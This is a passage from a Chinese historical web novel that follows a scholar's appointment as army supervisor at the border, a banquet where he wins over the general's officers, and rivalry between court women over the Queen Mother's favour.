呼延吉使坏,凑到她的耳边,语中带着笑意:“怎么不一样了?不都是用嘴么?” 他这么一说,江念更是不愿理他,呼延吉不再闹她,怕将她戏弄狠了,起了反作用,于是不再逗她,从床上坐起身,拿袖子打了两下风,他身上也热,才沐洗过,这会儿又出了汗。 江念觉着身侧一轻,回头去看,就见呼延吉下了床榻,走到矮案边,屈腿坐下,给自己倒了一杯凉凉的花茶,一口一口慢慢地品着。 她收回眼,拉掩长衫,然后将手塞在枕下,今日她给他出了主意,纸上谈兵容易,真正实施起来,还要费一番功夫。 这么想着,慢慢地再次睡了过去,呼延吉几时上榻的,她也没有知觉,次日醒来,侧榻空着,床单褶皱没有温度,抚上去是凉的,人已离开多时。 …… 崔致远直到进了王庭大门还跟做梦似的,觉得不真,狠狠掐了自己一把,“嘶——”了一声,疼!看来不是梦。 一路走来,他的小半辈子都是坎坷,没有顺畅过,只因他出身低微,空有才华报复却无处施展,后遭人设计陷害,得罪了徽城府令之子,无人举荐,从此仕途更加艰难。 不仅如此,连小命都差点不保。 然而他不愿放弃,抱着最后一丝决心,毅然去京都寻求希望,迎接他的是高门大户下人的白眼和讥讽。 他花掉了身上大半积蓄,却连人家的角门都进不了,直到这一刻他才意识到,一直以来,他都在痴妄,妄想他够不到的阶位。 他从怀里掏出余钱,苦笑一声,还好,够回家的路费了。 当他乘着板车坐到徽城城门前,将身上的余钱尽出付了车费,才一进城,就被套入袋中,接着头顶一闷响,脑中一嗡,就人事不知了。 再次醒来,他躺在了自家小屋的床榻上,耳边有人声,很熟悉,是情姑的声音,听她絮絮说着他悲惨的遭遇,很奇怪,原本自己还没觉着怎么样,但从别人嘴里听自己,就觉着格外的惨。 情姑说罢,他又听到一个懒闲闲的男声,骂他是傻子,那腔调是居高临下的审视和满不在意,他恼了,睁开眼,同他对峙。 那个时候,他怎么也不会料到,这位是天降的贵人,他的命运也因此开始出现转折。 他给了他一封举荐信,让他进了右大臣兀良哈门下,后来,他又受兀良大人之命,前往弥城。 谁能料到,当初那个被推拒门外的寒酸书生,在这一刻,竟步入了王庭,所谓一步登天也不过如此罢,王庭可不就是天么。 崔致远理好心神,随宫人走上平坦宽豁的王庭甬道。 宫墙高耸,远处山脊坐落着大大小小的宫宇,两边更是层楼巍峨,而那葱郁的树杪间又隐有檐角雕栏。 随路可见列队齐整的银甲卫在各条道上来回巡视,他知道这是王庭亲卫,上次在弥城处办高家之时,他同亲卫首领阿多图打过交道。 走了一会儿,行到一处阶陛下,引领他的宫侍便不再往前,只是躬身立在一侧,叫他上去,上面有人接引他。 崔致远颔首道谢,直到这一刻,他才醒悟,接下来他要面见之人是夷越之主,是他一直心心念念要报效的君王…… 第140章 莺歌燕舞 崔致远进入殿内,头也不敢抬,只是用余光丈量着周围,趋步到一个合适的位置,一跪三叩,伏身下拜。 “草民,崔致远恭请大王圣安。” 一个声音从高阔的殿穹传来:“本王安,起身回话。” 这个声音听着实在耳熟,之前他心里不是没有想过,可又觉着太过匪夷所思,不敢相信,不能相信,当下缓缓起身。 “崔致远,抬起头来。”那个熟悉的声音再次从上首传来。 崔致远抬头看去,虽说已有准备,可当看到上首之人时,还是神魂震荡了一下。 面目还是那个面目,只是给人的感觉完全不一样,在他印象里,那位小阿郎是啷当不羁,是玩世不恭,你同他玩笑时,他能比你更顽,你同他认真叙说时,他也认真听你言语。 可绝不是眼前的凛凛气迫,赫赫威压。 呼延吉走到崔致远身边,暗暗点头,兀良哈曾向他提起过几次崔致远,言辞中透出欣赏和赞许,能得兀良哈青眼,此人可担一用。 落后,他让兀良哈指派他去弥城,惩治高家,从头至尾,他不出面,兀良府不出面,不过他会在他的背后立着,给他倚仗,让他放开手行事。 高家的事,办得很好,分寸处理得也得当,让他很满意,也算是对他的考验和试探,他需要一个没有根基之人,需是一个不靠任何派系之人,只忠诚于他。 在这一点上,这个崔致远有股傻气,偏就是这股死忠王权的傻气是他看中的。 这次,他找他来,任命他去东境,希望他不要让他失望…… 炎光西坠,崔致远从议政殿出来,向一边的丹增告了几句,趋身下阶,由小宫侍引着出王庭。 离开时的心境同来时的心境全然不一样,此次只能成功,不容有失…… …… 夷越东境…… 东境之外是广袤的绿野,旷野之上居着牧人,人烟稀少。 东境的佩城同毗邻大梁的邕南完全不同。 邕南一带,民风更趋向于大梁,生活起居上,包括人的行止间,更为细雅温和,可东境不同,这一带城民的言行和生活习性更加粗放,比之夷越境内大部分城镇的民风,更为野向。 佩城将军府邸内。 天色将暗未暗之时,府中的厅堂已点起灯烛,歌舞一片。 舞姬们衣着裸露,一根粗长的辫子松懒地垂在身后,上身只着一件齐胸兽皮小衣,下着一条束脚灯笼裤,露出袅娜的腰肢,茶色的肌泛着光泽,蹁跹间妩媚又妖娆。 堂下两边一溜排案几,案几后坐着七八名身高体大的男子,一个个面目深刻。 正面上首位的男子,气迫更甚。 只见其三十来岁的模样,散着发辫,阔额,浓眉,鹰眼锐利,面目虽粗悍,神情却沉稳刚毅,稳如磐石。 此人便是东境大将,达鲁。 堂中众副将发现他们的头儿眉目隐着不快,对堂中莺歌燕舞视而不见,独自喝着闷酒。 “嗳,老大是怎么回事?” 说话这人看起来还很年轻,歪扎着一根小辫子,名鱼九,只见他凑到另一个年龄稍长之人身侧,又往上首睇了一个眼色。 那年纪稍长之人亦是达鲁身边的副将,人称老鬼,只听他说道:“听说京都要来人。” “我当什么,京都来人,又不是梁国来人,我说老大怎么跟吃了败仗似的。” “你小子懂个屁!这京都来人比梁国来人更让他头大,你当京都来的是谁?” “难不成是……朵家?” 老鬼点点头,算是回应。 鱼九便不说话了,朵家派人来为的什么,稍一想便知道,无非就是来抢功镀金的。 “我就想不通了,老大在朵家手底下这般憋屈,换个靠山不就得了,有句话怎么说来着?‘此处不留爷,自有留爷处’”鱼九摇头晃脑地说道。 老鬼嗤笑一声,喝了一口酒,说道:“嗳——就你这脑袋瓜,还能说出‘此处不留爷,自有留爷处’,你在哪儿学的?” 鱼九嘻嘻笑两声:“哪儿听的,就在哪儿学的。” “你也就这身拳脚拿得出手,脑子完全不行。”老鬼觉着鱼九同他的名字一样,鱼脑,不太够用的样子。 不过鱼九能坐于这堂间,做达鲁的手下,自然也有他的本事。 老鬼以为自己说了这话,鱼九好歹要反驳几句,不承想,他来了一句:“我做事不靠脑子,靠这个。”说着,伸出拳头在空中比划了几下。 说完,仍是脸上带笑,一副不记仇的样子,拿胳膊杵了杵老鬼:“老鬼,你说说为何咱们老大不改换门庭?” “你以为谁都同你一样好运,一进军营,就被大将相中,哪吃过底层兵卒的苦。”老鬼叹了口气,“咱们老大是从泥地里滚过来的,知道这中间遭了多少罪么,没人提携,没有靠山,任你本事再大,那也是冲在前面送死的命。” 鱼九眼睛一骨碌,说道:“所以说是朵家提携?” 老鬼点点头:“哎哟,难得!今儿一点就明白了。” 鱼九咂摸一声:“朵家对老大有恩……咱们老大向来是有恩必报之人,这么些年,恩情要还早该还完了,怕他个鸟蛋儿。” 老鬼一听,敲了一下年轻男子的头,又看了上首一眼,说道:“恩情还完了,可这中间的绳却剪不断了,你想想,老大是朵老大人一手提携上来的,这中间牵扯多少事,讲不清咧!是你想抽身就能抽身的?还有,就算抽身,再去投靠谁?投到谁的门下都是颗暗疮,谁不多心忌惮,那些高门大户不会给自己找不痛快。” 鱼九本是一副嬉笑模样,这会儿面色讪讪的,心忖着,在他心里,老大一直是他仰望的存在,东境大将,掌一方生死,军中万万将士全听命于他,这是何等的威风。 算是他们武将能走到的最顶端,然而,纵使英悍如老大,在那些上姓门阀面前也受牵制,需仰大族的鼻息。 “唉!没办法的事,已然走到这一步,只能硬着头皮走下去,太多身不由己,再者,咱们老大还是太过实心忠诚,总觉着没有朵家,就没有他今日,打算拿一辈子还恩情。”老鬼说罢,自己给自己倒了一杯酒,仰头喝了,又推了推鱼九,“去,去,坐回你的席位,别挤我这里。” 鱼九这会儿也没了嬉闹的心情,正待坐回自己的席位,歌舞突然停罢,听得周围起身的响动,身侧的老鬼也站了起来,往上一看,上首桌案后空着,人已去。 达鲁才回后宅,随侍来报:“将军,依着时间,不出意外的话,这两日人便到佩城。” 男人闭了闭目,“嗯”了一声,又问了一句:“梁军那边是什么动向?” “探报消息,梁军驻于西南一带,没再行进。” 达鲁颔首表示知晓,随侍退下。 男人走到院子的石桌边,坐下,立时有丫鬟前来上茶,他刚将茶盏端起,院子里的一扇房门开启,从里面走出一年轻女子,二十来岁,方圆脸,眉目很有神采,不算顶好看的面貌,但给人一种明媚大方的态度。 女人叫阿枝,居于将军府后宅,至于此女的身份,众说纷纭,有说此女是将军的奴姬,也有传此女不过是将军好心收留的苦命女。 传什么的都有,但有一点可以肯定,这女人不是将军之妻,因为他们将军还未有妻室。 “怎么愁苦着脸?”阿枝走到男人对面坐下。 达鲁看向来人,将愁烦掩下,微笑道:“无甚大事,左不过是军营里的一点子杂事,是不是刚才说话吵到你了?” 阿枝摇头笑道:“那倒没有,这会儿还早,我在屋子里闲着无事,做些针线活计。”说着,顿了一下,抬起双手递上一物,“这个给你。” “这是什么?” “给你做了一双靴子,你要不要试……” 女人话未说完,达鲁起身退开一步,说道:“有心了,以后不要做这些。” 说罢,掉过身,从院门穿到另一处院落,接着响起门扇开阖之声,人已进了屋。 这处小院分里外两道,外院这屋是这名叫阿枝的女子所居,里间还有一方院落,比外间的院落小一些。 达鲁住在里间的院落。 待男人走后,阿枝在原处立了一会儿,将手里的布包打开,里面是她才做好的一双玄色长靴,然后又看了一眼右手磨红的指节,轻轻叹了一息,转身回了自己的房间。 次日,京都来人。 达鲁一早得到消息,此次来使不仅有朵老大人之子,朵阿赤,还有王庭派来的监军,名叫崔致远的,这人他之前从未听过,朵家给他的信里只捎带提了一嘴,其他情况一概不知。 这两方,任何一方都不能轻易得罪,处理不好,他在这个位置就做到头了。 他心里清楚,夷越之主虽是呼延氏,可他终归得倚仗朵氏一族,他已经上了朵家的船,不是想下就能下的。 达鲁撇开手中事务,亲身带人出城迎接京都来使,只见前方一大队人马乌压压朝这边行来。 山雨欲来风满楼,皆属龙江虎浪之人,波涛将起啊…… 第141章 红颜祸水 达鲁领着部下纵马出城接迎,随在他身侧的鱼九看了一眼老鬼,低声道:“哪个?” “什么哪个?”老鬼斜了他一眼。 “还有什么,自然是问哪个是朵家郎君?” 老鬼觑眼看去,冷笑一声,答非所问:“你看看这些人,哪个像朵家的?” 鱼九展眼往对面一扫,拿下巴指了指左边为首之人:“这个?” “再猜。” 鱼九又拿下巴指了指右边为首之人:“那个前面的?” “不是。” “这么些人,我哪里知道。” 老鬼笑了一声,说出来的话凉生生的:“所以说你没脑子,那么精贵的一人儿,会让他骑马来?往后看,那大一辆马车没看见?” 鱼九乘在马上,往前探了探脖,呵!还真是,好大一辆华盖车马,适才被前面的人马挡住,竟是没注意到。 待两方相会,达鲁翻身下马,立了一会儿,眼睛穿过人隙,看向那辆华车,车帘不动半分,很显然,车里的人不打算下车,等他上前。 这时的气氛已然有些不对,随达鲁出城迎候的军将们面上虽不显,心里却激愤,一个靠家族庇荫之人,却拿架子等大将军请他下车。 再观对面的朵家人,连奴才在内,一个个摆出目中无人的姿态,好像他们凌驾一切。 达鲁沉着出一口气,这是一见面就打算给他来个下马威,好让他知晓孰高孰低,认清身份。 一阵风过,达鲁抬脚往马车边走去,才走两步,一个清朗的声音从对面人群传来。 “将军大人!” “将军大人!” 这一声声叫得又激动又热烈,一众人的眼睛争抢着找寻声音的出处。 达鲁定目一看,就见对面人群正中一灰衣男子滚鞍下马,趋步向他走来,待走近了才辨认清楚,那人穿得不是一件灰衣,而是一件白色布衣,污成了其他颜色。 来人向他拱手,表明自己的身份,达鲁这才知晓,这位看起来黑瘦,却精神奕奕之人就是王庭下派的崔姓监军,忙还一礼,叙问路途辛苦。 崔致远看了一眼达鲁身后之众将,扬高声调,兴叹一声:“将军大人,虎镇九州,竟屈尊亲迎某等,此等殊遇,如此厚情,实是叫某等诚惶诚恐。” 众将一听,胸中淤堵顿时疏散,心中不免思忖,此人为监军,乃大王亲信,却没有丝毫架势,再看看朵家之人,这么一比较,真是验了那句话,什么叫“真龙不露相,小鬼耍威风”。 因有了崔致远这一出,马车里的朵阿赤哪里还坐得住,只好掀帘下车,走了过来,同达鲁相互道了一番问候。 就这么,达鲁将人迎回城中,将早已收拾出的院落用来安置朵阿赤和崔致远,其余之人另做安置。 是夜,将军府治了接风筵宴,达鲁又请军中各副将作陪。 席间,歌舞吹弹,声乐盈耳。 上首正中坐着达鲁,右手长案坐着崔致远,左手长案坐着朵阿赤。 光这个位次,朵阿赤心里就有意见,这个崔致远不知从哪个角落蹦跶出来的草莽,只因是大王亲派,待遇就高他一筹。 因着心里不痛快,连带着没有好脸色。 堂间众将皆是武人,见那朵家郎君面色不虞,活像人欠了他二五八万似的,先还向他敬酒,到后面也不热脸贴冷屁股,不去招呼他。 众人反倒同大王派来的监军相谈得甚为投契。 这些武将多是从底层摸爬滚打,挣得军功,一步一步走到这个位置,毕竟真正的高门子弟,是不会跑到军营来争苦吃,顶多像朵阿赤一般,走个过场,踩在别人的肩背上捞个军功就走。 崔致远同这些兵士们一样,也是从底层起来的小人物,脑子又活,见人说人话,见鬼说鬼话,再加上他属大王委派,众人自然更亲近于他。 毕竟对大多数人来讲,君王就是君王,是夷越第一流人物,在夷越不管你是什么上姓,都比不了王姓,呼延氏。 “崔监军,京都城有什么好玩的或是好吃的?那边的女人好看不好看?” 说话之人正是鱼九。 此言一出,引得众人哄笑,连上首的达鲁也摇头笑起来。 他们这些边军,除了达鲁和三两个副将,其他人皆没去过京都,驻守境军,除非因命调离,否则一辈子不得离开守望之地。 崔致远手拈酒杯,借着醉意,眯眼将场内情景快速一扫,心中有了定数。 这些军中大小将领,皆以达鲁为首,这个为首,不仅仅是因为达鲁的将军职位,而是真心追随此人,再观刚才年轻小将的顽话,作为大将的达鲁非但没有斥责,反倒跟着一起笑。 这就不仅仅是上下级的关系,还兼有兄弟之情。 若能拉拢这样一群人,对大王日后大有裨益,可谓手中利刃,若失败的话…… 崔致远朗笑出声,说道:“咱们夷越京都有天下最鲜的肉食,有天下最香的醇酿,自然也有天下最美的女人。” 此话一出,引得席间众人哄笑出声,可是笑了几声后,声音随之低了下去。 最鲜的肉食,最香的醇酿,最美的女人,谁不向往,可也只能是向往。 就在众人情绪低落之时,崔致远给自己满上一杯酒,高高举起,说道:“我夷越京都能有如此繁华,百姓安享太平,皆是众边境将士拿命搏来的,没有你们,又何来的肉食、醇酿?待到海宇清宁,我必向大王请奏,让众位将军赏玩京都,酒肉管够!” 此话一出,低沉下去的空气又欢腾起来,虽然只是口头言语,可它到底是一份盼望。 就在众人起兴之时,居于达鲁左侧的朵阿赤嗤笑一声,这一声嗤笑很轻,再加上堂下还有歌舞,众人又在喧笑,应是听不到,偏让崔致远听到了,他不光听到,他还大剌剌地问了出来。 “朵家郎君,你笑什么?有甚可笑的?” 朵阿赤两眼往下睨着,嘴角勾着笑,可笑意之下的轻蔑,谁都看得出来。 “听你说话甚是可笑,我便笑了,怎的,不准人笑?” 朵阿赤忍了这个瘦小书生一路,又见他在席上夸夸其谈,把一众兵匪哄得乐呵,在心里不知骂了他多少遍小人。 他一向傲惯了的,不屑于同此等末流见识,不承想崔致远在这些兵匪面前搬出君王,说什么向上请奏,他个寒酸书生,连个正经官职都无,就这监军之衔还是临时的,请哪门子的奏。 崔致远也不恼,轻松说道:“笑可以,但我不觉得我刚才说的话可笑,是我说的那句‘我夷越京都能有如此繁华,百姓安享太平,皆是众边境将士拿命搏来的’这句可笑?还是‘让众位将军赏玩京都,酒肉管够’这句可笑?” 男人说着,看向上首的达鲁,问道:“将军大人,我刚才的话可笑?” 达鲁怔了一怔,没想到这位监军会突然认真起来,初见之时,他谦恭太过,落后又见他同军中副将们随意玩笑,以为此人是个“三旨相公”,一,取圣旨,二,领圣旨,三,得圣旨,空谈治国大道,却无实际作为。 此番态度陡转,反叫人无法轻视。 “监军之言并不可笑,反倒振奋人心。”达鲁说着,举起酒杯敬向崔致远,“我代众将敬请监军一杯。” 崔致远亦回举。 达鲁又举杯向朵阿赤:“也请小朵大人一杯,没甚好酒菜,只当清坐一回。” 朵阿赤心里不痛快归不痛快,也不至于表露太过,现下在人家的地盘,该做的样子还是得做,于是举起酒杯,仰头饮下。 这时,下首的鱼九对着崔致远高声道了一句:“监军大人,你的话可信,说得咱们这些人欢喜,你不能食言哩!” 一语毕,众人就见那崔监军冷下来的脸再次挂上笑:“绝不食言,届时,我带你们游玩京都!” 这一下,不管此话是虚是实,众人都将它当成真的了。 此时,不知谁又问了一句:“听闻咱们大王娶了一个梁女,监军大人可有这回事?” 话音未落,另一个声音说道:“咱们同梁国有仇,大王为何要娶一个梁女?” 众人似乎对这个话题很感兴趣,再加上吃了酒,言谈之间难免失分寸。 “依我看,这梁女定是容貌上乘,把大王给迷住了,不然为何不娶我夷越女子,独独娶一个敌国女子?” 又一人说道:“所以说红颜祸水,大多亡国皆因女人而起,还是貌美的女人。” “但愿咱们大王不要因梁女当一个亡国……” 话音未落,被一道呵斥打断:“都给我住口!” 众将抬眼看去,打断他们说话之人正是大将军,达鲁,众将自知失言,且是当着大王亲派的监军之面,当下都不敢啧声,生怕被治下大罪。 达鲁看向下首,一挥手,叫退歌舞,肃脸呵斥道:“一个个儿喝了点酒便不知自己是什么东西,满嘴浑唚。” 说着又看向崔致远,再转头看向朵阿赤,赔笑道:“二位莫要同这些行伍鄙夫见识,连字也不识的,说出来的话不能作数,都是无心之言。” 这时却响起几声拊掌…… 第142章 夜间伺候 众人看去,拊掌之人正是一直未曾出言的朵阿赤,只听他说道:“将军不必阻了将士们说真心话,我倒觉着刚才的话有些道理,梁国与我夷越有国仇家恨,那梁女不见得是什么好人,倒不如娶我夷越女子。” 说着又是一声叹息,“大王向来英明神武,只是在这件事情上……确实有些不妥……” 话音才罢,旁边传来一声重重的嗤笑。 朵阿赤见状,心道,刚才被崔致远逼问,颜面全无,这回他也要责问他一番,把他刚才的问话原封不动地还给他。 “崔监军,你笑什么?有甚可笑的?” 朵阿赤见崔致远嘴角含笑,并不出声,以为被他问住了,来了劲头,接着又道:“笑可以,恕我不知哪句可笑了,是‘梁国与我夷越有国仇家恨,那梁女又能好到哪里去’这句可笑?还是……” 朵阿赤本想说,大王向来英明神武,只是在这件事情上确实有些不妥……话溜到嘴边,又咽了下去,私下议论君王已是大罪,他不能同那些兵痞比,这话他适才说过一遍,却没胆子再说一遍。 此时众人也看向崔致远,而坐于上首的达鲁亦是冷眼旁观,并未从中调和,毕竟他归属朵家,不过也有另一层原因,他想看看,这位王庭下来的监军会如何应对。 崔致远放下手里的酒杯,站起身,理了理衣襟,先是看了一眼朵阿赤,再转头看向堂下众将,不疾不徐地说道:“小朵大人问我,他刚才的那些话可笑不可笑,要我说……可笑至极!字字皆是滑稽,叫我如何不发笑?” 崔致远继续道:“你说‘梁国与我夷越有国仇家恨,那梁女又能好到哪里去?’呵!我只有一句话‘以天下为一家,以中国为一人’,众将可知我夷越从前不过一弹丸之地,后来同他族一点点兼并融合,才有了如今的夷越,百年过去,王土之上皆为我夷越臣民,不分你我。” 这番话引得堂下众将纷纷点头,深以为是,只因他们这些边将的先人就是异族,后归并于夷越,到了他们这一代,已经完全归属夷越,被同化。 崔致远又道:“不拿远的说,只说现下,众位将军一定知道定州。” 席位上有几人抢话道:“那一仗可真是漂亮,打得大梁军兵落荒而逃,连统帅都杀了,咱们大王直接把他们大将首级斩下,系于马项之下,霸气!” 又一人道:“可不是,现在定州是咱们的。” 众人纷纷附和。 “不错,如今定州归属咱们夷越,定州百姓亦是我夷越子民,话再说回来,若照刚才小朵大人之言,定州从前属于梁境,定州百姓都不是好人?那我是不是可以这样理解,从前归属我夷越的异族子民,也非好人?” 崔致远此话不仅说给朵阿赤听,也是说给在场众人听,他们一口一个梁女,他就很不爱听,江念同他做过一段时日的邻居,顶好的一女子,不该被人这般议论。 他不止为大王的任务,也掺杂了私人感情。 众人此时会过意来,意识到刚才之言太过偏颇。 崔致远见目的已达到,语调缓下来,做了收尾:“定州曾发疫,大王亲身前往平疫情,抚民心,在定州,大家随便扯一路人问一问,无一不是称颂敬爱我们的王。” 说罢,崔致远给自己满上一盏酒,先敬向中间的达鲁,再敬向堂下众将,启口道:“只要有众位将军守我夷越之边境,扩我夷越之疆土,上天降鉴,必将万国朝于天阙,保我夷越坐享正统!” 崔致远说此话之时,堂下众人皆执酒起身,双手微举向上,胸中激涌澎湃,就连上首的达鲁亦为崔致远的一席话起身,而另一侧的朵阿赤也不得不起身。 向天地举杯,向君王表诚,众人一饮而尽。 崔致远从杯沿觑向四周,这还只是第一步,不够,远远不够,真正要攻下的是他身边的这位大将。 这夜,众人吃喝到好晚方散。 崔致远同朵阿赤酒意上脸,达鲁便让下人搀扶二人回了后院。 崔致远醺红着脸,向达鲁拱手道了谢,回到房中,房门一闭,眼中瞬间清明,听着门外脚步声往对面走去,接着就是达鲁同朵阿赤低声道了几句,然后离开。 待院中安静下来,他将窗扇顶开一道缝隙,往对面看去,朵阿赤屋子的窗纱已亮上灯火。 刚要放下纱窗,院子里进来一人,看其身形应是名女子,只见她穿过这方院落,进到更里面的院落。 里面的院落住着达鲁,男女共住一个院落?据他所知,达鲁并无妻室,这女人……难道是他的奴姬? 正想着,院子外又有零碎的脚步声响来,于是忙将窗扇掩下,不过这次脚步声到了他门前,接着房门被敲响。 崔致远前去开门,看着门外之人,愣了愣,门首立着一丰韵女子,女子见了他,先行一礼,柔声道:“监军大人,将军叫奴儿夜间伺候大人……” 话音未落,“啪——”的一声,房门迎着她笑欣欣的脸关上。 女人眨了眨眼,有些回不过神,她们是将军蓄养的舞姬,若有贵客至,会派来侍候客人。 男人们见了她们,不是两眼放光,一脸垂涎,就是故作冷持,不管哪种,最后都是做那帐下鸳鸯。 却从未被拒之门外,而且一句话都没说,这位大人跟见着瘟疫似的,生怕她进了屋。 这也不怪崔致远不怜香惜玉,他在女人身上吃过苦头,怕了。 住在对过的朵阿赤正巧将崔致远的举动看在眼里,暗忖道,这书生都看不上的女人,他焉能看上,万不能低他一头,于是对着门前的女人摆了摆手,将人打发。 …… 里间的院落,阿枝敲响房门。 达鲁的声音在房里响起:“谁?” “将军大人,我给你煮了一碗醒酒汤。” 房间安静了一会儿,接着响起脚步声,门扇从内打开,浓浓的酒息扑面而来,达鲁个头很高,站在那里,能将屋里映射出来的光挡个大半。 而门首下的女子只齐到他的胸口。 阿枝双手递上汤碗,一双黑亮亮的眼睛带着笑:“我猜你今夜定要喝许多酒,便让人提前煮下,端来给你。” 达鲁低头看向女人手里的汤碗,晶透的汤汁在灯火下剔透出温度。 男人颔首道谢,接过汤碗,说道:“这类小事让丫鬟们做。” 阿枝笑了笑,还想说几句话,对面之人却道:“有些晚了。” “那你把这醒酒汤喝了,我将碗收走。”她不是没听出撵人的话意,眼中仍是带着笑。 男人一抬手,咕噜咕噜几声,碗里的蜜水就见了底。 阿枝接过碗,不再说什么,转身离开,达鲁将房门关上。 …… 朵妲儿自从上次得了她父亲的话,让她回王庭仍照之前那样,服侍在太后身边,正妃之位必是她的,心底便有了倚仗。 她同朵梵儿不同,打小时候起,她就知道她那个阿姐是个无用之人。 阿姐出生后,因携有胎毒,不知是否能养活,父亲连一个名字都不愿赐予她,府里众人也一直唤她朵姑,直到十来岁才给她取名朵梵儿,取了名字仍同没名字一般。 她整个人就同她的名字一样,无用! 她不会像朵梵儿一样感情用事,不过嘛,目的即将达成,心底难免有些得意。 但她最近也有些不可言说的烦恼,初时,她是借照料朵氏之名,得以进入王庭,后来圣太后见她讨喜,便让她住到祥云殿,甚至不另置屋室,在寝殿里隔出一间,让她陪侍。 这是何等殊荣与怜爱,整个王庭只她独一份。 然而,前些时太后却让她搬回东殿,原因是身子不适,需要静养。 她觉着太后近日对她的态度同从前有些两样,一时又说不清道不明,之后,她搬回东殿。 朵梵儿自打那日晕倒后,整个人就木怔怔的,不过这样也好。 “主子,您怎么还亲自弄这些,婢子来罢,仔细烫着你的手。”一个圆脸,两颊微麻的女婢说道。 这人是朵妲儿的贴身丫鬟,名琴奴,随在朵妲儿身侧伺候的。 “你弄的同我弄的怎能一样,太后近日有些咳嗽,待我将止咳水熬煮好了,你再用彩盅盛了,放于食盒里,随我一道带去祥云殿。” 朵妲儿一面说一面拿过一块粗布包着壶盖,揭开,又往盄子里添了些罗汉果、枇杷叶、陈皮等物,盄子下是小炉,壶内沸水汩汩,壶周氲腾着白烟。 “还是主子贴圣太后的心,待会她老人家见了不知道多欢喜呢!” 要说有什么样的主子,便有什么样的奴才,朵妲儿言语伶俐,会讨巧,她身边的琴奴,也不差。 “行了,我看这止咳水熬煮得差不多了,你拿个壶筛来,把渣滓滤一下,再用小彩盅装好。” 朵妲儿心情甚好,谁不喜欢好听的话。 莱拉看了一眼手里的汤碗,碗里盛着黑褐色的汤药,抬起眼,又看向倚立窗栏的朵氏,心底唯有一叹。 这药早已不用再服了,可大妃每日仍让人煎熬,无非是喝着药,品着苦意,就好像那人还在身边一样…… 第143章 讨她欢心 莱拉端着药碗上前。 “大妃,药煎煮好了。” 朵氏瞥了一眼,接过,用汤匙舀着往嘴里送。 莱拉透过珠帘,看向敞明的外间,说道:“大妃就这样放任不管么?真就甘心?” 朵氏抿了几口苦阴阴的汤药,脸上慢慢回过神采,说道:“朵妲儿从出生到现在,就没有不顺意的时候,她这人好胜心极强,凡事必须压人一头,要做拔尖的那个,如今正是她得意的时候,想来父亲那边给过她话了。” 莱拉心道,若真是这样,不久妲姑就会成为王庭的女主人,届时大妃在王庭再无立足之地,可不留在王庭又能去哪里?她家主子看似身份高贵,却是无家可归。 立于山巅,太多事身不由己。 大妃如今对朵家而言就是一枚弃子,老大人不可能将大妃久留家中,最后的结果就是再嫁,很可能还是低嫁。 大妃怎肯呢。 莱拉不忿道:“您看妲姑那不客气的样子,不知道的还以为她才是东殿的主人,奴才们也是势利,巴不得往她跟前凑,听她一唤,跑不迭,也不知能得到什么好儿。” 朵氏轻笑一声:“都说月圆则亏,水满则溢,她那样讨太后的欢心,怎的还是回了我这东殿?” 莱拉一想,也觉着不对:“倒还真是,按说好好的宿在祥云殿,怎的无缘无故又回了东殿,倒是西殿那位最近常往祥云殿去。” “世上哪有什么无缘无故,事出皆有因。”朵氏舀了舀碗底的汤汁,喃喃道,“让她再得意些时……”说着,又舀了一勺汤药送入嘴里,慢慢品咂。 朵妲儿让琴奴提着食盒,坐着步辇,往祥云殿去。 路上琴奴随走在步辇一侧,抬头看了一眼自家主子,一副欲言又止的样子。 “主子,我总觉着大妃有时候看着怪怪的。” 朵妲儿一条胳膊肘在辇扶上,闭着双眼,淡淡道:“我这个阿姐,从小就是怪人,她要哪一日不怪,那才叫怪,不必理会,用不了多久,东殿她就住不得了。” 琴奴想起以前大妃还在朵家之时,面上温和收敛,可背地里不知责罚了多少下人,不禁浑身一激灵。 一行人到了祥云殿,金掌事将朵妲儿迎了进去。 “太后午睡可起了?”朵妲儿问道。 “起了有一会儿了,现下在后花园的湖亭里。”金掌事说道。 朵妲儿颔首,随着金掌事往后园行去。 一路芳径逶迤,刚转过一片花丛角,就见着凉亭里两个人影对坐着,神情专注地低着头,好像桌案上有什么似的,也不说话。 其中一人是高太后,而她对面坐着的正是江念。 金掌事笑说道:“梁妃殿下这几日常来祥云殿,见太后无聊,便教太后一个新奇玩意儿,想不到太后一下就迷上了。” 朵妲儿脸上堆着笑,问道:“什么新奇玩意儿?” “好像叫什么‘手谈’。” “手谈?” “是,就是一张画了横竖的方形木盘,然后两人对坐,各执黑白子,放在那个盘子上,就那么你下一个子,我再下一个子,反正咱们这些奴才看不懂,不过太后她老人家怪喜欢的。”金掌事说道。 朵妲儿扯着嘴角笑了笑,从琴奴手里接过食盒,一手捉裙,拾步上阶,走进湖亭,向上行礼:“妲儿恭请太后金安。” 高太后似是没听见一般,一门心思地看着桌面的棋盘。 朵妲儿屈着膝,手里还提着食盒,太后不叫起,她也不敢起,就那么僵持着。 江念余光见朵妲儿半屈着膝,然后收回视线,执棋,落子,刚才朵妲儿见礼之时,高太后执棋的手明显顿了一顿,显然是听见了,却当作没听见。 不知朵妲儿怎么将太后给惹恼了,可转念一想,朵妲儿如此聪明伶俐的一人,得罪谁也不会得罪太后,唯一的原因就是呼延吉,应是朵家为着立大妃相逼于呼延吉一事让高太后知晓了。 对高太后来说,再如何不亲近呼延吉,呼延吉也是她身上掉下来的肉,自己责骂欺压可以,别人就不行。 又落下一子,高太后像是刚看见朵妲儿一般,说道:“快起身,人年纪一大,耳目就不行了,你来问安,我却叫你屈着。” 朵妲儿起身,笑得眉眼弯弯的:“妲儿倒不怕屈着,再屈一会儿也是该的,就是担心这食盒里的润喉汤水放凉了。” 说罢,放下手里的食盒,又走到江念身边,江念亦起身,相互厮见过礼,朵妲儿回过身,揭开食盒盖,从里面取出小彩盅,双手奉到高太后面前。 “妲儿见您这几日嗓子不舒服,便熬煮了一碗润喉的汤水,守着旁边不敢错眼,一点一点加的食材,先加什么后加什么,也都有讲究,太后迷着这个什么‘手谈’,却也要注意身体,毕竟身子才是第一位。” 朵妲儿说罢,有意无意地瞥了一眼江念,好似她的关心才是关心,而江念在高太后身边的陪伴不过是儿戏,浮于表面,不真。 让众人知晓,也让高太后知晓,一个关心身体,一个只作耍玩,高下立现。 金掌事从中接过那碗小彩盅,放到太后面前,笑道:“这可真是巧了,梁妃殿下也熬煮了一碗润喉汤水,太后才喝了一碗。” 朵妲儿显然没想到,眼睛快速在凉亭一溜,就见着旁边的小台案上搁着一提枣红三屉大食盒,最上一层盒盖揭开,里面放着一套用过的瓷碗。 这么一比,她反落了下乘,好你个江念,我当你是个不争不抢的,原来在这儿等着呢。 